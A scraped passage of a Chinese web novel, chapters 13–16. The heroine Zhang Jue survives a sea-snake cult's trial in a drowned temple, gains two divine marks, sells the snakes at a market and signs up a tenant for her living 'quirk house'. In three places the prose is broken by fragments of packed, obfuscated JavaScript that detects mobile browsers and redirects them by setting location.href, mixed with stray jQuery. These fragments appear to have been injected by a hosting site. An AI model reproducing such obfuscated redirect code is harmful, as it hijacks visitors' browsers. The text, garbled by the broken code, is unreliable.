这人一头红卷发，长得羸弱，绝不是雷利亚那等高手。章玦疑惑问他：“既然这么危险，你们打算怎么捕捉它们？” 红卷发苦笑摇头，说：“那都是自家本领，别说我，其他人也不会回答你。” 章玦一听便知抓捕三叉海蛇的方法是秘密，自觉不问了，世上无难事，只要肯放弃，最多她就空手而回，不丢人。 船上陷入沉默，船外海雾浓厚，五米开外都是一片未知。左右无事，章玦划拉腕表，腕表弹出一条新消息—— 【恭喜你击杀一名触觉系异能者，继承了她的“淑女的拳套”。 淑女的拳套：一双只适合小型病友穿戴的手套，戴上之后出拳击中其他癖人，一定程度会让其变得温顺，并根据你的指令，做出不同的响应。】 显然聂小倩不算小型病友，这双拳套暂时无用武之地。 有好过没有，章玦乐呵呵收入囊中。此时，海面的风夹带温润的湿度，海中映出点点金光。 船家在一侧冷飕飕提醒：“诸位到站了，三叉海蛇的海域就在前方。” 船只的远光灯下，巨大沉船的桅杆被照亮，桅杆顶部坐落着一头金色的三足乌，与章玦枪托上的金乌造型相似。 船缓缓停靠在沉船的侧面，抛出锚，锚钉在沉船桅杆下面的环形金属钩上。 船夫提醒所有人：“船只停靠一个半小时，过时不候，不管是死了还是迟到，都只能自己飘回大陆去。” 众人利落检查下海的装备，脱下沉重的外套，露出贴身的衣物。 章玦浑身轻盈，小背包里只有一条算得上牢固的绳索，此行本就没打算真要捕捉三叉海蛇，所以她殿后，观察其他人从沉船的船舷上绕过甲板，消失在光里。 周蓦然过来问她：“你不走吗？” 章玦也看她：“你不也没走。” 周蓦然摸摸鼻子，扎稳了袖口，说：“我没来过，不过来都来了，我要去看一趟。” “巧了。”章玦笑道，跃上船舷，飘着溜出去，周蓦然追在后面。 绕过甲板，沉船斜面筑成一道坡，人走多了，坡上很光滑，章玦也从坡上滑下海。 海面上亮起十几盏灯，三三两两潜入海底。章玦点亮腕表灯，无障碍一气呵成，沉下去。 入了水，小倩在体内欢呼一声，作为原著里的猎手小队长，它此刻也展现出捕猎的冲动。章玦按耐住她“喜外出”的兴奋，说：“慢慢来。” 海底的奇观引起章玦的注意，这片海域深不出百米，底部却坐落连片的寺宇，融合萨珊与波斯风格，但寺庙供奉倾颓的巨大神像爬满珊瑚，仍旧威严静穆。 这么大片建筑若说是人类手笔，又过于匪夷所思。 章玦视线在建筑间流连，捕捉可能隐藏的三叉海蛇。那些先于她下水的人，灯光从涣散到聚拢，逐渐汇成一条队列。 这么有组织的行为若不是自愿的，就是被某种东西胁迫。章玦返回身看周蓦然，她在上方静静观察，章玦推测并没有什么能够控制人类心神的东西存在。 那些人是自愿排队进入寺宇的。章玦有疑，潜下去也缀在队尾。 一路台阶往下，深入寺宇的门洞中，几十条灯聚在一起，照亮洞中一尊扭曲的雕塑。 雕塑由人头蛇身组成，蛇身上一节扣一节，庞然延绵。人脸雕刻得惟妙惟肖，有悲悯之姿。 小倩一到庙内，精神不自在，连带着章玦也难受。它悄声告诫：“这儿有古怪。” “什么古怪？”章玦凭借肉眼无法辨认出雕塑和人的异样。 “你需近前了去看。”小倩幽幽道。 那些人排队一个个向前，在雕塑前叩拜，念念有词：“海神啊，请赐福于我。” 轮到章玦，她漂浮着简单做了个叩拜姿势，有样学样：海神啊，请赐福于我。” 水中洋流波动，一股寒流从殿内深处滚出，众人听见一声强过一声的击鼓声，又像是什么东西在击打薄膜，即将破膜而出。 有经验的人立刻窃窃喊道：“三叉海蛇要出现了。” 章玦抬头，蛇身泛出青鳞的光，人脸簌簌掉渣子，蜿蜒下来，脸冲着脸，对着章玦哈气。 它的一只眼睛抵得过章玦的半张脸，对于章玦来说，视觉冲击和心理冲击双重压下来，她动惮不得。 旁人在她身侧紧张说：“这是真谬试炼。你千万别退缩。” 什么真谬试炼？ 那双蛇眼微微拱起，形成两道狭长锐利的冷光，仿佛穿透章玦的脸。 蛇信子红得发紫，吐出一句话：“你被深海之王选中，古老的智者在等你回应。” 章玦一脸懵逼，但见蛇身延伸出红色的线，与小倩后脊椎延伸出的相差无二。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17009200|193904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >章玦脑子里一阵阵锐，发出断断续续的沉闷声音，就像那次吃了毒海藻出现的幻觉一般。这声音念着—— “你绝对……” “不能成为……” “深海之主……” “仆人……” “你……” “污秽的……” 旁人加紧劝她牵住红线，说：“真谬试炼需要你成为它的仆人，你有机会被三叉海蛇带去老巢。到时候我们一起上，把你拉回来。” 章玦脑仁发疼，想着牵就牵吧，小倩在体内狂躁大叫：“老板，你死了，我工资发不出，找谁要？” 这句话又稍微将她理智拉回来。 蛇身颤抖着，鼓声从它体内发出。章玦稍稍冷静，定睛看，哪里有蛇，是红卷发的男人提着一面鼓，在她面前敲。 真正的蛇在他背后，蛇信子在红卷发耳朵边嘶嘶发声，他们在用非人类语言交流。 红卷发停下鼓声，啊哈笑一声，说：“你通过试炼了，你可以成为深海之王的亲眷，回到陆地上招揽更多的眷族到来。” “你是最后一个。”红卷发男人环视前面已经试炼过的人，被分成两堆。 “开什么玩笑？什么试炼，老子是来抓三叉海蛇的，它就在这里，大家快动手。”一个无脑的炮灰喊出了适合他身份的话。 红卷发男人比了个噤声，示意他安静。 一下下击鼓声再次响起，大家惊悚看向蛇身隆起的部位，那里膨胀成一团，薄膜之下血管清晰可见。 然后，那个被示意安静的男人毫无预兆地，被蛇身缠绕，吞噬进肚子。 鼓声加剧，蛇肚子喷射出浓稠液体，一条新的三叉海蛇水灵灵被弹射出来。 液体在洋流带动下扩散出强烈的腥臭味。红卷发却深吸一口气，如得灵丹妙药，大喊：“国王的头颅又得到延续了。” 章玦心道，三叉海蛇的祖先偷走国王的头颅，这个头颅难道依赖三叉海蛇的繁衍而继续存在？ 由于缺失背景信息，她也只能猜一半。目前最紧要的事怎么全身而退。 “我感染了海血疫。”一声惊恐爆发，紧接着其他人也高喊自己得了海血疫。章玦忽觉脑袋痒，挠了挠，小倩劝她住手，“别挠了，再挠我秃了找你算账。” 章玦低头看，指缝间混杂鳞片与海沙，她的脑袋似乎不正常。 14. 神明的赌桌 感染海血疫的人像整根发红吃圆的萝卜，皮肤充盈着血色的纹路，他喊了两嗓子，突然从喉头爆开，变成一根榨汁萝卜。 周围人惊乱大叫，迅速从他身边跑开。 章玦是癖人倒是没有感染的危机感，近距离看那些身上有伤口的人，正在极力堵住蔓延的毒气侵入伤口。 但这种方法并不能阻拦死亡，接二连三的人像水管一样爆开。 章玦与刚刚经过试炼的人退到一边，或许一开始还有人不将红卷发的话当一回事，但现在幸存者只敢向红卷发男人释放哀求的信号。 红卷发安抚：“你们既然是选中的眷族，不会有事。三叉海蛇原是陆地上的人，海中温度太低，需要人类血液来提供合适的分娩温度。” 话刚说完，从蛇像背后探露出四条庞然大蛇，人脸悲悯，腹部隆起，匍匐在地上，挣扎几下，红卷发随手推出一个人，那人被蛇腹裹住，成了分娩的营养品。 有人惊叫：“你不是说我们安全吗？” 红卷发瘦削骨掌拍了拍说话人的脑袋，说：“我也没说全都安全。还差最后一步。” 又有四条新生幼蛇从蛇腹钻出，不说限制级画面，单单闻味道，许多人就都吐了。 幼蛇盘绕着寺庙中间一块灰质岩石上，发出嘶嘶的蛇语。 “国王的头颅将赐福于我们。”红卷发对着岩石跪伏下来，其余人想活命也依葫芦画瓢。 红卷发高呼：“到我们之中来，成为我们，赐予你荣耀，轮回的皇冠，深海王的奴仆……” 幼蛇扬起少男少女的脸，忽地对准章玦说：“你过来。” 众人才发现场内唯独章玦和周蓦然站在一侧。周蓦然双眼失神，抬步走过去，刚挪动，被章玦扯回来。 “你过来。”四蛇合成一声。 红卷发直起身子，说：“你最好过来，三叉海蛇的命令就是深海王的命令。” 章玦走过去，心中跟小倩已经嘀咕起来：“你一条鬼不至于怕蛇妖吧？” “这不是蛇妖，这是低等的感染动物。”小倩很不屑，“而且我是死的，它们是活的，只是被什么东西附体，所以能说人话。” 章玦回过味来，国王的头颅通过寄宿三叉海蛇来延续意志。 她站到石头前，与几双蛇眼对视。章玦的脑子忽然被一股巨力撕扯，巨大的力量将她的灵魂几乎从小倩体内抽离出去。 章玦的胸口熨出一阵滚烫，她的心神快速稳定，脑子特别清晰，像在开三方会议，另外两团力量在博弈。 一扇通天大门矗立在她的面前，那团幽蓝的力量来自门内，虽无言语，却吸引着她不断靠近。 巨大门上是繁复的纹路，她眨了眨眼，纹路扭曲成某种中式符纹。 这倒有趣，似乎所见之物会根据人的认知和意识扭曲改变。 章玦伸手抚摸，另外一股力量灼烈席卷，遍布全身，迫使她停下来。她感受到怪癖之家那种强大的归属感，仿佛她推开门，她就离开了怪癖之家。 小倩痛苦的呻吟迫使章玦做出选择。 章玦把心一横，用力推开那扇通天大门。 但大门只微微露出一道缝就再也推不动了。从缝里迸发出的强光笼罩章玦的半条手臂，一种近乎剥骨的疼痛从无到有，到极致，强迫她缩回手。 突然，灼心之痛又泛起，从心脏部位蔓延到手部，另一种钻骨的疼痛又凌迟着她。 章玦就像下了一台大手术，麻醉刚过又被抬上另一台大手术。这这中间死了又死的滋味，甚至让她昏阙过去了两次。 再次苏醒，无论是灼热还是骨髓疼痛都已经消失，取而代之是一冷一热的两种力量渐渐在腹部化解。 她的左手冰冷至极，盘缠着她看不懂的文字。她的右手燥热沉闷，盘缠着中式符纹。 章玦看久了，失神想道：这还是我的身体吗？ 脑内音突然降临，伴随一个飘虚的影像，影子开口：“无论你是谁，你做到了我做不到的。我的身体换过许多宿主，却没有人能在我沉睡之时， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17014953|193904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 获得神的眷顾。” 加上这个莫名其妙的影子，算起来，她脑子里住了五个人格，章玦合理怀疑自己精分了。 这个影子继续道：“你将我当做不死的执念也行，总之接管那具身体的人是你，登上神明赌桌的人也是你。” “神明的赌桌？听起来我像筹码。”章玦不是无神论者，但对神明敬而远之，她不信那些高高在上的非人存在会真实地关心她的生活。 她很务实，如果神明没空管一只蝼蚁，作为蝼蚁难道就不活了吗？ 影子：“你可以这样理解。但筹码也有决定赌局的资格，当然我不是指你一个人，我是指全世界得到神明眷顾的人。” 章玦的右手符纹微微发光，影子利用神经引导她举起右手，像位尽责的老师循循教导：“这是你开启文明试炼的能力象征。你是东龙人，你可以用自己的方法来进入文明的领域。” 它又引导章玦举起左手，这次声音低沉少许，说：“这是你作为降临先驱的象征，你依然可以用自己的方法来让神明满意。” 章玦脱口而出：“假如我都行驶着两种神明的力量，那我岂不是明牌玩狼人，哪一方都不会放过我。” 她想到厄瑞波斯，那个满口恭迎冥影降临的献祭社领袖。厄瑞波斯肯定属于降临先驱派。 “那是你的难题，也是你的机会。”影子神神秘秘，晃了晃，声音弱下去：“你的路才刚刚开始。” 留下巨大的谜团还有一堆麻烦就拍拍屁/股走人，这种退场的遗言十分让章玦不爽。她喊了两嗓子，脑子里彻底清净。 眼前的光逐渐放大，章玦发现自己抱着灰质岩石不断摩挲。 她清醒的一瞬，立刻跳开，成年的三叉海蛇爆死了三条，幼蛇不知所踪。在场的人除了周蓦然，其余都躲得老远。 红卷发挂在寺宇柱子上，早死透了。 “怎么回事？”章玦问周蓦然。 周蓦然见鬼似地看她，她猜过章玦癫，没猜过那么癫，还能徒手撕蛇。 15. 振兴社据点 周蓦然详细描述了章玦突然盯着石头魔怔，左右手浮现不同纹路，对幼蛇发起攻击，成年三叉海蛇来阻止，章玦右手虚空画符，直拍三叉海蛇脑袋，左手五指扣住蛇脑，生长的触手挖掉蛇眼，贯穿蛇腹…… 章玦抬了抬手，让周蓦然不用将限制级的画面都描述出来。 她一肩扛一条巨蛇，招呼周蓦然走。剩下一条送给精神没被污染的人。 船夫打着哈欠数人头，这次来了三十二人，活下来的不剩十个，那个癫女人迟迟没出来，预计也是死了。 章玦一跃上船，船身往下沉，巨蛇悬在船舷外，她哈哈打个招呼：“大哥，回去路上开慢点，我只带了一根绳子。” 船夫甩了自己一巴掌，没做梦。他朝外头吼：“还有活人吗？船开啦！” 半晌，船舷上不见动静，船夫拧开远光灯，调转船头驶走。 周蓦然取出能量棒，分给章玦一块，章玦收了过来，没有吃，问她：“回去后什么打算？” “找个地方住，再找份工打。”周蓦然笑笑，她刚经历惊险，这会儿还精力旺盛，心算大的。 章玦提议：“上了岸一块把蛇卖了吧。” “我也有份？姐姐你怎么称呼？”周蓦然也不忌讳，握住章玦五根手指。 小倩不爱碰活人，抽了回去，章玦用袖子掩住手，对周蓦然说：“我叫章玦，化名小倩，你怎么叫都行。” “你比我大，我喊你玦姐。”周蓦然也不在意，笑了下。 小倩不满意了，冲她瞪眼，章玦转开脸，说：“我知道你的车停在哪里，上了岸，你到车边等我。” 她故意高声问偷偷眼红的人：“三叉海蛇能卖什么价钱？” 其中一人立刻道：“我们也准备去找人销货，你们不如和我们一起？” “好啊。”章玦笑眯眯。 三人面色皆是一喜，对章玦热情起来，说：“一条蛇能换的东西可太多了，要想卖好价钱就要找对卖家。这玩意在献祭社那里是一个价，在联邦那里又是另外一个价，在东龙国那里价格比较低，但也收。” “东龙国在附近也有驻点？”来了这么久，第一次听到东龙国的消息。 “有是有，门面很小，给不出好价格，你卖给东龙国，不如卖给我们，我们给的比他们多。”另外一个鼻孔外扩的胖子呼哧呼哧说话。 “不劳烦了，我找献祭社的人销货。”章玦礼貌婉拒。 上了岸，章玦丢下一句“车边见。”然后人影一晃，一个人拖着两条大蛇，跑得比风还快。 周蓦然反应过来，立刻抓紧背包就跑。 周蓦然的越野大，章玦将一条蛇塞她后座，她自己车只能捆车顶。 “走。”章玦卯足马力，后边已经有车靠近。 献祭社销货点在西陆市集。每座城市都有一个西陆市集，为人们提供基本物资的兑换。 天色没亮，时间算上午。 进出大楼的人基本是平民，要么来兑换粮食，要么来销货。粮食在末日最走俏，其次是武器。 至于像三叉海蛇这种变异体，走的是特殊通道。 周蓦然找人打听过了，这会儿和章玦说：“西陆市集在这里归末日福音管，要想找献祭社的人就得先去收赐福品的摊位打听渠道。” 章玦：“东龙国的交易点呢？” 周蓦然也打听了，说：“里面没东龙国的摊位，兑换窗口的人说东龙人在城外的废弃车站交易。” 章玦扭头就走。 郊区的废弃车站不难找，章玦与周蓦然翻了三个车站，便见到支着一个广告牌，上边标着古东文“振兴社——全面振兴东盟海外经济”的广告箱。 车声甫停，水泥屋子里背手走出一个老男人，光头，披着薄棉衣，赤脚，惺忪睡眼。 他看见章玦那张鬼脸，立刻退回去，说：“只接待东龙人。如果要抢劫，目前社里只有一头壮牛，还有一条狗，求高抬贵手。” “老人家，我们就是东龙人，来和你做买卖的。”周蓦然态度良好，跟老人比划车上的大玩意。“三叉海蛇收吗？” 章玦将蛇拖下来，打量老人这个破屋子，心想当做照顾老乡生意。 老人哎哟一声，单脚跳过来，另一条腿是假肢，用假肢勾起蛇头啧啧称奇：“好久没见过这水霸王了。你们也是能耐，从哪儿弄过来的？” 周蓦然：“自己捞的。” 老人抬起精明双眼，呵呵笑：“小娃娃就是爱开玩笑，本社不销赃物，请回吧。” 章玦看了看社内凋敝景象，说：“你收什么？” 老人掰着手指：“种子、小武器、小畜生、古籍、古文物、冰箱、电脑、打印机……” 章玦横插一句：“你和东龙国那边有联系吗？” 老人抖了抖棉衣上边旧棉絮，回她：“你看我像能跟联系上的人吗？我跟东龙国那边失联了快五年了。” 一个海外据点与上边的人失联了，上边的人就没再派人来对接？章玦指着“振兴社”的牌子，问：“你不是要振兴海外经济吗？就没有其他同胞找你？” “这就是一句口号，你还当真，靠我一个收破烂的振兴海外，你敢信我都不敢信。总之，海蛇我收不了，人我也联系不上，你们要的东西，这儿全没有。”老人两手一摊，背着手又踱回去，嘟嘟囔囔：“我这把年纪才来打听组织，怎么不等我死了再来。” “你联系不上，总有人联系得上吧，说个人名也行。”章玦不甘心就这么将线索撒开。 “嘿，就算让你联系上又怎么样？天上不能飞，海里不能游，你打算开车从西大陆穿越中大陆，去东大陆？东龙国现在是个什么样，你我都不知道。”老人眼底闪过一丝悲戚与无可奈何，他又不是没走过，最远开到西大陆边缘，然后被联邦几炮打回来，从此就对命运乖服了。 周蓦然赞同老人，黑影降临之后，许多人滞留在外，可慢慢她就很少见过东龙人了。“联邦完全切断了东龙国的信号，所以西大陆没办法收到那边的消息。” 章玦摇头，“至少我、你、他，就有三个人，一个人就是一个信号点，联系起来就有网络。” 老人一屁股坐在门口的藤椅上，摸了摸藤椅把手，笑道：“你要从这个角度发散，那我就有话说了。就像这把椅子，是我从另一个要死的东龙人那里收来的。要说这世界没有东龙国，我一年半载还能见到一个东龙人，要说这世界还有东龙国，我又觉得到我死都听不到它的消息。” 他吆喝一嗓门，一条大黄狗从垃圾里抬起头，老人指使章玦过去看狗脖子。 章玦刚动脚，老黄狗闻到小倩的鬼味儿，精神一振，腿也不抖了，朝她狂吠。 “它不亲你。”周蓦然笑嘻嘻按住章玦，自己凑近去，从掉漆文字里读出一个名字，“伊布精神安抚犬——好运”。 “好运是它的名字。”老人笑咳咳。 “伊布是靠近中大陆的一个多种族地区，三年前末日福音和联邦在那里打起来，现在是无政府状态。”周蓦然跟章玦解释，揉着狗头，问老人：“它是伊布过来的人送你的？” “五年前送的。”老人举起苍老五指。 “东龙人送的？”章玦又问。 “一队东龙人送的。五年前局势没这么紧张，精神师还会出来活动，他们过来西大陆交流，回程时候狗病了，就放在我这儿养病。”老人想起什么说什么，“当时随队里有个姑娘说他们过来主要是联系一个学者，学者死了，只好又回去伊布待命。不过，都五年了，是不是还在伊布可真不好说。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17021332|193904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 老人看向章玦和周蓦然，“按我说，这么乱的世道你们能活下去行了，这儿管得没那么严，到了联邦，你们就不这么自由了。” “谢谢提醒。”章玦这才掏出剩余的一张兑换券，问老人：“能换点种子吗？好养活的。” 老人喜笑颜开，招手章玦跟他进车站，说：“正好都脱手给你。” 整个车站就一间水泥房，候车厅的椅子拆了，堆了两大货架，架子上最多的东西就是陶瓷罐子，一个个裹着塑料膜，最下边压货的几袋子全被他抽出来。 他解开其中一个袋子露出干瘪的颗粒，“货色就这些，别人交过来，我就收，事先声明，我也不知道里头有没有变异的东西，你要种出脏东西，可不能赖我。” 章玦本可以去西陆市集换干净的粮食种子，可是私心想在这儿换点，大概是同乡情节作祟，她认了。 临走时候，老头给两人各送了一个陶瓷碗，神秘兮兮地说：“这货色很老了，不能折我这儿，有机会送回国内。” 章玦就当心意收了。周蓦然给老人送了一个放大镜当回礼。 来回折腾，最后两车还是开回西陆市集，找人销掉三叉海蛇。章玦先找联邦的交易点。 联邦的人看了货色，直接拒绝两人：“不收。” 周蓦然瞪大眼：“为什么？” 联邦的对接员是个戴眼镜的男人，很高冷，多说一句都嫌废事，只说：“蛇肚子里没东西，货残缺，不收。” 章玦盯着两条腹部平坦，显然还没有吞噬人类的三叉海蛇，猜测联邦的人真正想要的是蛇胎。 出门下楼，她们再去献祭社的交易点，这会人家当好货收了，连夸：“蛇头保存得很完整，上等货色啊。” 章玦又猜想献祭社的人要的是蛇脑。 献祭社的人让她们选报酬，章玦选中了三袋上好的粮食种子，六十枚子弹，两支枪。周蓦然选了五个微型□□，一部新手机。 走出西陆市集大楼，二人立刻登车，周蓦然问章玦去哪里，章玦回她：“当然是回家。” 周蓦然无家可归，多问一句：“玦姐，你是不是想去伊布？” “可能吧。”章玦当然要去，她接收这具身体时候就已经注定她必须将怪癖之家和病友移交给东龙国，她不确定如果不照办，会不会莫名其妙死掉。 “我也去。”周蓦然信誓旦旦，“我其实一直在找回去的办法。” 章玦问她：“你准备什么时候动身？” “你什么时候动身，我就什么时候动身。”周蓦然似乎认定章玦是个好搭友。 “行。等我联络你。”章玦一脚油门踩出去。 周蓦然立马反应过来，她还没给章玦联系方式。 章玦开得快是想趁阳光出来前回家。车开进院内，阳光洒在明艳艳的蘑菇小伞上，章玦意识啪地断线，小倩从车上摔下来，被阳光一晒，浑身冒烟。 章玦从房檐下醒来，将它拖回房间。 章玦熬了一宿，精神力匮乏，勉强支撑住身体回阁楼，困意便山呼海啸袭来，她倒在床上也陷入深眠。 这场觉睡得并不安稳，梦中三叉海蛇顶着巨大的人脑爬上悬崖，对着她高声唱：“加入我们，成为我们，赐予荣耀，深海王奴仆……” 章玦也跟着它们唱：“深海王来自地下，原住民恐惧颤栗，世界的通道打开，加入它们……” 加入它们……加入它们……加入它们…… 章玦瞬间清醒，捂住嘴巴，最后一个“们”字被她压死在喉咙里。 她不敢再睡，外头日光稀薄，她猜自己睡了三四个小时左右。 她下床，踢到背包，里头东西散落出来，海蜗牛崩了一角，露出来的部位很熟眼，像阿贝贝粘稠的包裹物。 16. 子弹X1 海蜗牛如果是阿贝贝，她左手被感染，也算半个癖人？换句话说，降临派都是污染物携带者。 她打算找机会试试左右手的实力。忽然整个阁楼空间扭曲，墙皮瑟瑟抖动，活人感太重，章玦吓了一跳。 空中漂浮出大红字体—— 【警告，怪癖之家等级达到B之前，奉劝你不要随意开启文明试炼和降临召唤。】 “如果我偏要开启呢？”章玦不死心。 大红字体—— 【这是很不负责任的家长行为！无论文明试炼还是降临召唤，都将把大家拖入幻境，在那里你是主宰，但也是敌人攻击的目标。它们会疯狂的袭击这个家，占领你的财产，剥夺你的能力。总之，你还没准备好，请别随便作死。】 “可我这个人就是爱作死。”章玦笑笑。 字体彻底扭曲—— 【啊啊啊啊啊】 “你为什么能发语音？”章玦开起玩笑，一直以来她都以为腕表承载的是过去灵魂的意志，但从不想她冒险这点来看，又像是绑定怪癖之家的系统。 “行了，我说说而已，我很惜命，不会打没准备的仗。”她安抚走形的文字。 她走出阁楼，打算趁日出改善一下园区植物。 院内，蘑菇长势不错，小倩吹毒气的新技能叠加毒蘑菇，能放倒一个普通的异能者，所以她留了小片蘑菇田。 另外一块地，她拿来种振兴社给的劣质种子。她也不懂种植技巧，反正一律埋进土里，浇上水。 还有一块大的，她用来种品质好的土豆和地瓜，这两样东西饱腹感强，短期内结果，先解决一顿三餐再说。 最后她从门口到停车位理出一条车道。所有弄完，她便想着怎么修个水槽，可惜没有趁手的工具，目前还只能靠矿泉水瓶，滴水浇灌。 进屋洗净了手，她到小倩处查看它的伤势，这次出勤受的最重的伤就是雷利亚那十几记铁拳。 就算是癖人，这么打下去迟早要打残。章玦于心不忍，心中隐隐已有新计划——“去伊布之前再收一位病友吧。我看美人鱼就挺不错的。” 她坐在院子前，望着黑影，想怎么拉周蓦然入伙。 章玦联系周蓦然时，周蓦然恰好将车停在上次撞倒人的路口。 “你步行一百米后，左拐进巷子，继续往前走，看到一排有阁楼的二层小别野，就能找到我。”章玦给她指路。 周蓦然顺着地址往前走。 这里到处是废弃的楼房，有二层阁楼的独栋房子也很多，周蓦然却一下子就锁定了其中一栋，因为这栋的门敞开着，门内生机盎然。 短短一天半，章玦自己都惊讶，种子从发芽到长出小苗，茵茵铺满地面，绿得冒喜气。 周蓦然走到门口时，一堵无形的墙阻在前面，章玦倚在门口和她说：“在这儿说话。” 周蓦偏头看门边的牌子——没病下来走两步。有个性。 “你原来长这样。”周蓦然换了一身运动服，瘦瘦高高，特别精神。 章玦刚刚把自己的长发绞了，狗啃似的齐脖子短发，刘海散在眼前，模样是典型东方的面孔，有一双特别精亮的大单眼皮。 “都是老乡，我把话说开。”章玦指着自己一亩三分地，“家就这么大，我刚接手，正在努力发育。阁楼现在就一张床，你来了，我就砸了墙，拓宽了多摆一张，为了各自的隐私，我们在中间隔个屏风啥的。卫生间只有一间。” 周蓦然乐意道：“你都不嫌弃我，我怎么好意思嫌弃你。就是……我交得起第一个月的租金，押金还有点困难……” “没关系。钱不够，其他方面来凑。”章玦不计较那些虚的，想起一事，着重解释：“屋里目前只有一位病友，昼伏夜出，样子你见过的，我不保证它会不会追着你杀，可是阁楼是绝对安全的。” “懂。”周蓦然虽然笑得勉强，还是说：“其实我觉得它挺可爱，而且只有一只，比其他地方好多了。据我所知，租户是可以从另外通道出入怪癖之家。” “我这儿没有。”章玦直接否定，另外开一条路出来等同于开后门，要触发什么特殊条件才行。 周蓦然忽然进退两难，这和车里、高昂的旅馆比，安全性也高不了多少呐。 这时章玦抛出一句：“不过怪癖之家可以自己移动，省去开车去伊布的一些麻烦。” 就是这句话彻底收服周蓦然，开车耗油还累，有这个便利不香吗？ “我想去伊布，我入住。” 章玦第一次招租客，点开腕表，召出“常住人口登记本”，翻开后查阅，尝试在上面写上名字—— 【常住人0001：周蓦然】 这行字写完，立刻弹出长长的租房条例，拉到最下面还真有签名的地方。 章玦又拉回去仔细看条例，基本对房东有利。比如租客不能盗窃怪癖之家的财物，包括癖人，否则将遭受无形暴击，并驱逐出家。 比如租客离开怪癖之家后，会自动消除关于位置的记忆，除非房东发出新地址，否则无法原路寻回。 又比如租客不能隐瞒与病友的特殊关系，不能沾手病友的阿贝贝，否则也将被抹除关于病友的部分记忆，并被怪癖之家驱逐。 章玦将条例投影给周蓦然看，“这里是合同，同意的话，你就跟着念合同最后一句话，口头签名吧。” 周蓦然仔细看了，也答应签名。流程就这么简单地走完。 章玦此刻才能在“常住人口登记本”上新增周蓦然的信息—— 【常住人口0001：周蓦然 户籍：东龙国 异能：……】 “你的异能是什么？”章玦问周蓦然。 周蓦然：“五感系的侦察兵。” 章玦奇怪了：“侦察兵不是可以追踪癖人？” 再一想，捕捉三叉海蛇时候，周蓦然好像没进殿参拜，莫不是那时候就已经侦察出不对劲。 周蓦然承认：“我是物理追踪，和感应追踪的异能者不同，我主打技术辅助。” 章玦没见过侦察兵，自然不知道这两者的区别。她继续往下写，填完之后，大门上忽然笼罩下浅光，周蓦然站至光中，大门咔哒一声，似乎完成了认证过程。 周蓦然尝试着踏过门，毫无阻滞，顺利就踩在了院子里。她朝章玦灿烂大笑道：“房东，以后多多关照了。” 章玦拍她肩头，鼓励：“家里很多事情也要仰仗你来干。” 周蓦然并不是个计较得失的人，当即表示去将车开过来，章玦等她走了，看着院子犯难，停车位不够，以后多招了人，院子还得往外扩。 她还没扩建过，择日不如撞日，今天宜动工。她上楼取了锄头，院子四壁都是砖胚，先尝试挖挖墙角，看房子怎么说。 一锄头砸在墙角砖上，腕表立刻剧烈震动—— 【你在干什么？！扩建院子所需要的材料必须从其他怪癖之家借、偷或者抢过来。 你把院子打穿了，破洞就会形成漏洞，容易被其他东西溜进来。】 章玦只好收了锄头，转身又上楼，砸院子不行，砸楼里总可以吧？ 阁楼四壁的砖头没有院子厚，她再一锄头下去，墙壁明显抖了抖，像皮肤被针扎时紧张的收缩。 腕表弹出—— 【你可以扩建阁楼，但请保留好原墙壁的砖头。扩建部位的初始环境不会太舒适，不过没关系，安全还是有保障的！】 章玦又一锄头下去，墙壁皲裂部位发生一毫米的区别，她收了锄头，看来普通的工具要砸开一面墙，至少需要半年。 还是得换异能者工具。鼹鼠的消防斧已经转换成子弹，雷利亚的拐杖沉了海底…… 此时周蓦然在下面喊：“玦姐，我车子停门口，东西搬进来了，可是……” 章玦走下楼梯，周蓦然的东西都是科技硬货，没地儿搁，章玦让她将东西搬楼下另外一个屋。 楼下三个屋，除了小倩之外，另外两间空置，里头空荡荡，摆了东西进去，打开灯，章玦眉头一挑，有点家的感觉。 “你从哪儿弄来的电视机和唱片机？”章玦看着零零碎碎的小东西，最有意思的是一台粉色电视机。 周蓦然四处找插座，发现整座屋子除了电灯，竟然没有插座，说：“我的生日礼物。这儿没插座啊，我的电器全用不上，晚点我拉个电线吧。” “还能通电？”章玦也是意外。 “信息兵嘛，大家嘴里说的万金油，上不了战场还能搞生物发电。”周蓦然自我调侃。 收拾妥当，周蓦然兴冲冲要上楼去看卧室，嘴里念叨：“我这两年来最大的心愿就是……” 她拧开阁楼门，回头朝章玦说：“拥有婴儿般的睡眠。”扭头看房间，话尾坠机式往下掉，笑容凝固。 章玦挤过来，尴尬道：“之前说好一人一张床，现在只能等砸了墙才能放多一张。不过没关系，你睡床，我去睡睡袋。” 周蓦然：“那怎么可以？” 章玦特别大方：“怎么不可以，你租金都交了。” 周蓦然犹豫：“那倒也是……” 没理由租金收了，还让租客睡地下的道理。章玦让周蓦然坐床上，她自顾去取一个东西。 